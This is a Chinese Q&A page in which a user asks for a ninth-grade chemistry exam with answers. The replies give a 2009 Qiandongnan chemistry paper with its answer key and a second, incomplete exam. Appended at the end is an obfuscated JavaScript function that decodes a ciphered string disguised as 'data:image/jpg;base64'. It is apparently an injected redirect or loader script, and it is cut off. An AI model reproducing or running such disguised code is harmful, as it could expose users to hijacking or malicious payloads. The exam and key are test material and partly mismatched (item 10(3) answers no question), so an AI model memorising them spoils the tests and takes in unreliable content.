要一张九年级综合化学试卷

要完整得一张哦,而且要答案。
2025-02-26 19:02:28
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黔东南州2009年初中毕业升学统一考试 学科网
综合理科化学试卷 学科网
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1. 本试卷共有17个题,满分60分。综合理科考试时间180分钟。 学科网
2. 物理卷的答题全部写在物理答题卡上。选择题请用2B铅笔填涂,非选择题请用钢笔直接答在答题卡上。 学科网
3. 可能用到的相对原子质量:H-1 C-12 O-16 Mg-24 Al-27 Zn-65 S-32 学科网
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第I卷 学科网
一、选择题:(本题共8个小题;每小题2分,共16分,每小题只有一个选项符合题意) 学科网
1.下列物质所发生的现象属于化学变化的是( ) 学科网
A.酒精挥发 B.蓄电池充电 C.矿石粉碎 D.海水嗮盐 学科网
2.下列实验操作的方法中正确的是( ) 学科网
A.将pH试纸浸入溶液中测溶液的pH 学科网
B.用100 mL的量筒量取5.55 mL的稀硫酸 学科网
C.将氢氧化钠固体直接放在托盘天平的托盘上称量 学科网
D.配制10%的氯化钠溶液的主要步骤是:计算、称量、溶解。 学科网
3.美国首颗“嗅碳”卫星在2009年2月24日在发射升空过程中因运载火箭出现故障坠毁,这颗卫星的主要任务是绘制全球二氧化碳循环地理分布图。下面关于二氧化碳的叙述不正确的是( ) 学科网
A.二氧化碳能使澄清的石灰水变浑浊 学科网
B.二氧化碳是植物进行光合作用必不可少的原料 学科网
C.自然界中的二氧化碳主要消耗途径是植物的呼吸作用 学科网
D.固态二氧化碳俗称干冰,升华时可吸收大量热,因而用作制冷剂 学科网
4. 分类学习是化学重要的学习思想,下列物质分类错误的一组是( ) 学科网
A. H2、O2、N2 B. HCl、H2SO4、NaHSO4 学科网
C. NaOH、KOH、NH3•H2O D. NaCl、NaHCO3、NH4Cl 学科网
5.将60℃饱和的硝酸钾溶液降温至20℃,没有发生变化的是( ) 学科网
A.溶液的质量 B.溶液里溶质的质量 学科网
C.溶液里溶剂的质量 D.溶液里溶质的质量分数 学科网
6.下列叙述完全符合质量守恒定律的是( ) 学科网
A.水结成冰前后,质量保持不变 学科网
B.50mL水和50 mL乙醇混合后总体积小于100 mL 学科网
C.在100g过氧化氢溶液中,含有30g过氧化氢和70g水 学科网
D.1.2g碳与3.2g氧气恰好完全反应可生成4.4g二氧化碳 学科网
7.某学生为了验证铁、锌、铜三种金属的活动性顺序,设计了四种方案:①将Zn、Cu分别加入到FeSO4溶液中;②将Zn、Cu分别加入到ZnSO4溶液中;③将Zn分别加入到FeSO4、CuSO4溶液中;④将Fe 分别加入到ZnSO4、CuSO4溶液中。其中可行的是( ) 学科网
A.①④ B.①② C.②③ D.③④ 学科网
8.下列材料属于合成材料的是( ) 学科网
A.陶瓷 B.聚乙烯材料 C.棉麻织物 D.铝合金 学科网
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第II卷 学科网
二、非选择题(本题包括9个小题,9~16题36分,每空1分,有化学方程式书写的小题每题2分;17题8分,共44分) 学科网
9.小明在凉拌紫甘蓝时,加入一些食醋,发现紫甘蓝变红了。他想这是不是巧合呢?于是又取紫甘蓝的汁液重复加食醋,现象相同,他又在紫甘蓝汁液中加入一些纯碱,结果发现紫甘蓝汁液变绿,请你和小明一起解决下列问题: 学科网
(1)食醋的pH 7(填“<”“=”或“>”), 纯碱属于 (填“酸”、“碱”或“盐”)类化合物。 学科网
(2)结合小明的实验,请你联想紫甘蓝汁液的用途 。 学科网
10.化学是造福人类的科学。在农业生产、医疗保健、促进社会发展等方面做出了重大贡献。请用所学过的化学知识解答下列问题。 学科网
(1)2008年全球出现“无声海啸”——粮食危机,而我国粮食储备充足,市场价格稳定,化肥为保持粮食丰产起到了重要作用。常用化肥有:①尿素[CO(NH2)2] ;②硝酸钾KNO3;③硝酸铵NH4NO3等。上述化肥中属于复合肥的是 (填序号),硝酸铵溶解于水后溶液温度明显 (填“升高”或“降低”) 。 学科网
(2)低血糖患者每天都应注意摄入一定量含淀粉的食物,以使血液中维持一定浓度的葡糖。请你列举两种富含淀粉的食物 、 。 学科网
11.空气、水是人类赖以生存的自然资源。 学科网
(1)空气中含有氮气、氧气、稀有气体等,是一种 (填物质类别)。人类时刻都离不开空气,是因为空气中的氧气能 。 学科网
(2)天然水中含有许多杂质,实验室常用过滤的方法除去水中悬浮的杂质,过滤需要用到的仪器和用品有(填序号) 。 学科网
①带铁圈的铁架台 ②酒精灯 ③漏斗 ④玻璃棒 ⑤量筒 ⑥烧杯 ⑦滤纸 学科网
利用蒸发原理可以从海水中提取食盐,仅从①~⑦中选择仪器不能完成实验室蒸发食盐水的实验,还需要的仪器是 。 学科网
12.氢氧化钠是化学实验室中常用的试剂。 学科网
(1)氢氧化钠固体曝露在空气中,容易吸收水分而使表面覆盖一层溶液(这一现象又叫“潮解”);它还能 ,这一变化的化学方程式可表示为 学科网
。所以氢氧化钠固体必须密封保存。 学科网
(2)实验室盛放氢氧化钠溶液的试剂瓶不能用玻璃塞,其原因是在常温下,氢氧化钠与玻璃中的二氧化硅缓慢地发生反应,产物使瓶口与瓶塞粘合在一起,反应的化学方程式为:SiO2 + 2NaOH == X + H2O,试推断X的化学式为 。 学科网
13.图1 是一种医用药品瓶上的标签,试根 据标签上的内容回答有关问题。 学科网
(1)请叙述“咀嚼”后咽下的好处(答 学科网
出一点即可) 学科网
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_____________________________________________________________________。
(2)当胃酸(主要成分为盐酸)过多时,服用该药片后,在胃中可能发生的化学反应 学科网
为 (用化学方程式表示) 学科网
①_______________________________________________________。 学科网
②_______________________________________________________。 学科网
(3)患有胃溃疡(胃黏膜溃烂)的病人胃酸过多时,不宜服用含碳酸盐的抗酸药,其原因是 。 学科网
14.在图2中,甲图是一氧化碳与氧化铁反应装置的示意图,乙图是高炉练铁示意图。请回答下列问题。 学科网
(1)写出甲图中的实验现象: 。 学科网
(2)甲图中装置的不足之处是: 。 学科网
(3)请写出高炉中生成铁的化学方程式: 。15.通过一年的化学学习,你已经掌握了实验室制取气体的有关规律。请结合图3提供的一些实验装置回答问题: 学科网
(1) 若用A装置制取氧气,仪器a中需加入 ,发生的化学方程式为 。 学科网
(2) 通过查阅资料得知:氨气(NH3)是一种密度比空气小且极易溶于水的气体,其水溶液称为氨水。当你选用加热氯化铵和氢氧化钙的固体混合物来制取氨气时,若选择B装置来完成该实验,需进行的改动是 。 学科网
(3)你认为应选择收集氨气的装置最好是 (填序号),原因是 。 学科网
16.维生素C是生命活动中不可缺少的营养物质,不同的饮料中维生素C的含量不同。下面是小明同学运用学到的实验方法测定橙汁、果味饮料中维生素C的含量。 学科网
【实验目的】测定不同饮料中维生素C的含量。 学科网
【实验原理】 学科网
(1)维生素C是一种无色易溶于水的有机物,能与碘水反应,使碘水褪色; 学科网
(2)淀粉遇到碘水变 色。 学科网
【实验试剂】碘水、淀粉溶液、已知浓度的标准维生素C溶液、蒸馏水 学科网
【实验过程】 学科网
步骤1:在4支试管中分别盛有3.0 mL的下列物质:①蒸馏水,②标准维生素C溶液, 学科网
③橙汁,④果味饮料。分别向4支试管中滴加2滴淀粉溶液。 学科网
步骤2:用4支相同的胶头滴管分别向①~④支试管中逐滴滴加碘水至刚好变色,并记录滴数。 学科网
【实验记录】 学科网
测定物质 ① ② ③ ④
滴入碘水的数量(滴) 1 8 15 5
试回答下列问题: 学科网
(1)你认为小明测定的两种饮料中, 的维生素C的含量较高; 学科网
(2)有的同学认为测定物质标准维生素C溶液是多余的,你认为呢?请说明理由: 学科网
; 学科网
(3)化学实验需要控制变量。下列 (填序号)情况会影响到测定结果。 学科网
A.每次实验所用饮料的颜色不同 B.量取的被测试物质的体积不同 学科网
C.试管的大小不同 D.没有用同一规格的胶头滴管滴加碘水 学科网
【回顾与反思】实验中所用的淀粉溶液的作用是 。 学科网
17.某同学为了测定黄铜屑(由锌和铜形成的合金)样品组成,取四份样品分别加稀硫酸反应,其实验数据记录如下表。 学科网
样品 第1份 第2份 第3份 第4份
取样品质量(g) 50.0 50.0 50.0 50.0
取稀硫酸质量(g) 40.0 80.0 120.0 160.0
产生气体质量(g) 0.4 0.8 1.0 1.0
试计算: 学科网
⑴经分析,在第1份样品测得的数据中, (填物质)完全反应了。(1分) 学科网
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⑵列式计算黄铜屑样品中的锌的质量分数和所用稀硫酸中溶质的质量分数。(6分) 学科网
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⑶请在图4中画出在50.0g样品中加稀 酸的质量与产生气体质量变化关系的示意图。(1分) 学科网

黔东南州2009年初中毕业生学业考试
化学参考答案

1.B 2.D 3.C 4.B 5.C 6.D 7.A 8. B
9.(1)< 盐
(2)代替酸碱指示剂(或检验其它物质的酸碱性)(其它合理答案也可得分)
10.(1) ② 降低 (2)大米 面粉(其他合理答案也可得分)
(3)2C3H4O+7O2 6CO2+4H2O
11.(1)混合物 供给呼吸 (2)①③④⑥⑦ 蒸发皿
12.(1)吸收二氧化碳(或与二氧化碳反应) 2NaOH+CO2==Na2CO3+H2O(2)Na2SiO3
13.(1)嚼碎后服用疗效快(或嚼碎后药物与胃酸的反应快;或反应物的接触面积增大,化学反应加快)
(2)① MgCO3+2HCl=MgCl2+CO2↑+H2O ② 2Al(OH)3+6HCl=2A1C13+6H2O
(3)碳酸盐与盐酸作用生成二氧化碳气体,加重胃溃疡病情(本题其他合理叙述也可)
14.(1)红色粉末变黑,澄清石灰水变浑浊(只需回答一种现象即可)
(2)没有尾气处理装置 (3)Fe2O3+3CO 2Fe +3CO2
15.(1)过氧化氢溶液 2H2O2 2 H2O + O2↑
(2)使试管口略向下倾斜;用酒精灯加热(答对一个要点即可)
(3)F 用水吸收氨气,防止氨气扩散到空气中,减少污染
16.【实验原理】(2)蓝
【实验记录】(1)橙汁(或③)
(2)不是多余的,因为测定标准维生素C溶液是确定维生素C含量的标准,以便估算出饮料中维生素C的浓度(其他合理答案也可)
(3)A B D
【回顾与反思】确定维生素C是否与碘水完全反应
17.(共8分)
(1)硫酸(1分)
(2)解:设参加反应的锌的质量为x ,参加反应的硫酸的质量为y 。
Zn+H2SO4===ZnSO4+H2↑ Zn+H2SO4===ZnSO4+H2↑(化学方程式1分)
65 2 98 2
x 1.0 g y g 0.8 g
65∶2=x∶1.0 g 98∶2=y∶0.8 g
x=32.5g(1分) y=39.2g(1分)
∴黄铜屑样品中的锌的质量分数为 ∴所用稀硫酸中溶质的质量分数为
32.5g/50g×100%=65% (1分) 39.2g/80g×100%=49%(1分)
答:黄铜屑样品中的锌的质量分数为65%,所用稀硫酸中溶质的质量分数为49%。(1分)
(3)(共1分,得分点:起点、折点、曲线趋势等,错一处即不得分)

回答2:

注意:1.本卷共8页,其中试题4页,答卷4页;将试题答案写在答卷上,交卷时只交答卷。
2.答案可采用文字或表格或图示等形式表达。
3.相对原子质量:H-1 C-12 N-14 O-16 Cl-35.5 Fe-56
一、我会选择(每小题只有一个选项符合题意。共10小题,每小题4分,计40分)
1.医疗上,抢救危重病人常用到的一种气体是( )
A.氧气 B.氮气 C.氢气 D.二氧化碳
2.生活中常见的下列现象,属于化学变化的是( )
A.冰棒融化 B.米饭变馊 C.瓷碗破碎 D.湿衣晾干
日常生活中,我们经常饮用矿泉水。右图是某饮用天然水部分商标图,图中列出了理化指标。据此回答3~4题:
3.这里的钙、镁、钾、钠指的是( )
A.单质 B.原子 C.分子 D.元素
4.这种饮用天然水呈( )
A.酸性 B.碱性 C.中性 D.无法确定
5.下列粒子结构示意图中表示阳离子的是( )

6.2003年10月15日,我国用“长征”二号F捆绑式火箭将“神舟”五号载人飞船成功送上太空。火箭用联氢(N2H4)作燃料,一氧化氮作氧化剂。反应的化学方程式是:N2H4+2NO 2X+2H2O。则X的化学式是( )
A.N2 B.NO2 C.NH3 D.N2O
7.区分日常生活中的下列各组物质,所加试剂或操作方法完全正确的是( )
选项 需区分的物质 操作方法或所加试剂
A 白酒与白醋 ①观察颜色 ②闻气味
B 食盐和白糖 ①稀盐酸 ②加水溶解
C 合成纤维和天然纤维 ①烧同时闻气味 ②观察色泽
D 厕所清洁剂与厨房清洁剂 ①测pH ②石灰石
8.元素符号周围的数字有不同的含义,下列符号中只表示“2个氢原子”的是( )
A.2H2 B.H2 C.2H D.2H+
9.小红同学在家做“粗盐提纯”实验,对其做法的认识中,错误的是( )
A.将粗盐放入玻璃杯中加水溶解——粒子在不断运动
B.溶解时用筷子搅拌——加快溶解速度
C.用自制净水器过滤粗盐水——可将粗盐水变为纯净物
D.实验时不用一次性塑料杯或纸杯——保护环境要从身边小事做起
10.小玲同学对所学部分化学知识归纳如下,其中有错误的一组是( )

二、我会填空(共4小题,化学方程式每空2分,其余每空1分,计12分)
11.2004年春,轰动全国的安徽阜阳市劣质奶粉事件,导致出现200名“大头婴儿”和10多名婴儿夭亡。经检测,劣质奶粉几乎不含 等促进婴儿生长发育的营养素。
12.医生给病人输液时,常用葡萄糖注射液。右图为葡萄糖注射液的部分标签图,根据右图回答下列问题:
(1)葡萄糖的化学式为C6H12O6,它是由 种元素组成,其相对分子质量是 。
(2)每克葡萄糖完全氧化约放出17.2 kJ的能量,一瓶这样的葡萄糖注射液可放出 kJ的能量。
(3)现要配制10 kg这种葡萄糖注射液,需用葡萄糖 kg。
13.最近中国科技大学陈乾旺教授领导的研究组以二氧化碳和金属钠作原料,在440 ℃和800 大气压的条件下,成功合成了金刚石,同时生成氧化钠,首次实现了从二氧化碳到金刚石的逆转变。该反应的化学方程式是 ,反应类型是 。
14.2004年4月16日,重庆天原化工厂发生氯气泄漏,事故现场出现大量白雾,给环境造成严重污染。氯气是一种黄绿色并有强烈刺激性气味的有毒气体,可与水反应,化学方程式为:Cl2+H2O ==HCl+HClO(次氯酸)。
(1)HClO中氯元素的化合价是 。事故现场产生白雾的原因是
(2)消防官兵抢险时,配戴的防毒面具中装有活性炭,其作用是 。他们喷洒大量的某种溶液来消除或减轻污染,这种溶液最好是 四、我会分析(共2小题,化学方程式每空2分,其余每空1分,计12分)
17.酸、碱、盐溶解性表是学习化学的重要工具。右表列出了“部分酸、碱、盐在20 ℃时的溶解性”。我能利用此表完成以下任务:
(1)查:Ba(OH)2的溶解性 。
(2)写化学式:一种酸 ;一种不溶于水的盐 。
(3)判断:氯化钠溶液与硝酸钙溶液能否发生反应及其理由是 。
(4)写化学方程式:铁或铝与表中的一种盐反应 。
18.对知识的归纳与整理是学习化学的一种重要方法。现有三个化学反应如下:
①S+O2 SO2 ②2CO+O2 2CO2 ③3Fe+2O2 Fe3O4
(1)通过比较我发现:它们有许多相似之处,其一 ,其二 ……我能另写一个符合这两点的化学方程式 ;它们之间也存在相异之处,其中一个反应与众不同,这个反应和它的不同之处是 。
(2)课外学习Cu2(OH)2CO3 2CuO+H2O+CO2↑后,我又发现它也和上述三个反应相似,其相似之处是 。
19.我到外婆家去作客,见外公购回了一袋碳铵(化学式是NH4HCO3)化肥,印在包装袋上的部分说明如右图所示,对此,我有许多问题要探究:
我探究的问题 我的解答
这包化肥至少含多少千克氮元素?

我还想深入探究的问题是 。
21.某校同学探究附近赤铁矿中Fe2O3的纯度。他们采集了20.0 g样品,加入稀盐酸,其反应为:Fe2O3+6HCl==2FeCl3+3H2O,完全反应后,共用去稀盐酸184.0 g,过滤得到滤渣4.0 g。(假设杂质既不溶于酸,也不溶于水;不考虑实验中的损耗)。
求:(1)赤铁矿样品中Fe2O3的质量是多少?其纯度为多少?
(2)反应后所得溶液中溶质的质量分数是多少?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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